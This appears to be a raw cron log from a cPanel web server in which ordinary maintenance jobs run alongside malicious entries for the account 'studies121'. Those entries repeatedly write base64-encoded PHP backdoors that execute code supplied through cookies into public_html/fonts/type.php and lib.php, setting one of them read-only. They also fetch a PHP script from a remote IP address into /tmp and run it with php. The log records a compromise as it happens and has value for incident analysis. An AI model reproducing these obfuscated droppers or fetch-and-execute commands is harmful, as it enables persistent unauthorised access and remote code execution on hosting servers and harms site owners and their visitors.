Sep 21 02:39:01 ip-184-168-122-23 CROND[16707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:39:01 ip-184-168-122-23 CROND[16706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:39:01 ip-184-168-122-23 CROND[16709]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 02:39:01 ip-184-168-122-23 CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:40:01 ip-184-168-122-23 CROND[16825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:40:01 ip-184-168-122-23 CROND[16828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:40:01 ip-184-168-122-23 CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:40:02 ip-184-168-122-23 CROND[16830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:40:02 ip-184-168-122-23 CROND[16832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:40:02 ip-184-168-122-23 CROND[16833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:40:02 ip-184-168-122-23 CROND[16836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:40:02 ip-184-168-122-23 CROND[16835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:41:01 ip-184-168-122-23 CROND[16921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:41:01 ip-184-168-122-23 CROND[16923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:41:01 ip-184-168-122-23 CROND[16924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:41:01 ip-184-168-122-23 CROND[16925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:42:01 ip-184-168-122-23 CROND[17003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:42:01 ip-184-168-122-23 CROND[17005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:42:01 ip-184-168-122-23 CROND[17006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:42:01 ip-184-168-122-23 CROND[17007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:42:01 ip-184-168-122-23 CROND[17008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:43:01 ip-184-168-122-23 CROND[17185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:43:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:43:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:43:01 ip-184-168-122-23 CROND[17188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:44:01 ip-184-168-122-23 CROND[17279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:44:01 ip-184-168-122-23 CROND[17284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:44:01 ip-184-168-122-23 CROND[17281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:44:01 ip-184-168-122-23 CROND[17282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:44:01 ip-184-168-122-23 CROND[17283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:45:01 ip-184-168-122-23 CROND[17371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:45:01 ip-184-168-122-23 CROND[17372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:45:01 ip-184-168-122-23 CROND[17373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:45:01 ip-184-168-122-23 CROND[17375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:45:01 ip-184-168-122-23 CROND[17374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:45:01 ip-184-168-122-23 CROND[17376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:46:01 ip-184-168-122-23 CROND[17498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 02:46:01 ip-184-168-122-23 CROND[17499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:46:01 ip-184-168-122-23 CROND[17503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:46:01 ip-184-168-122-23 CROND[17505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:46:01 ip-184-168-122-23 CROND[17502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:46:01 ip-184-168-122-23 CROND[17504]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 02:46:01 ip-184-168-122-23 CROND[17506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:47:01 ip-184-168-122-23 CROND[17623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:47:01 ip-184-168-122-23 CROND[17626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:47:01 ip-184-168-122-23 CROND[17627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:47:01 ip-184-168-122-23 CROND[17628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:48:01 ip-184-168-122-23 CROND[17867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:48:01 ip-184-168-122-23 CROND[17869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:48:01 ip-184-168-122-23 CROND[17870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:48:01 ip-184-168-122-23 CROND[17872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:48:01 ip-184-168-122-23 CROND[17871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:49:01 ip-184-168-122-23 CROND[17976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:49:01 ip-184-168-122-23 CROND[17978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:49:01 ip-184-168-122-23 CROND[17979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:49:01 ip-184-168-122-23 CROND[17980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:50:01 ip-184-168-122-23 CROND[18084]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:50:01 ip-184-168-122-23 CROND[18090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:50:01 ip-184-168-122-23 CROND[18093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:51:01 ip-184-168-122-23 CROND[18199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
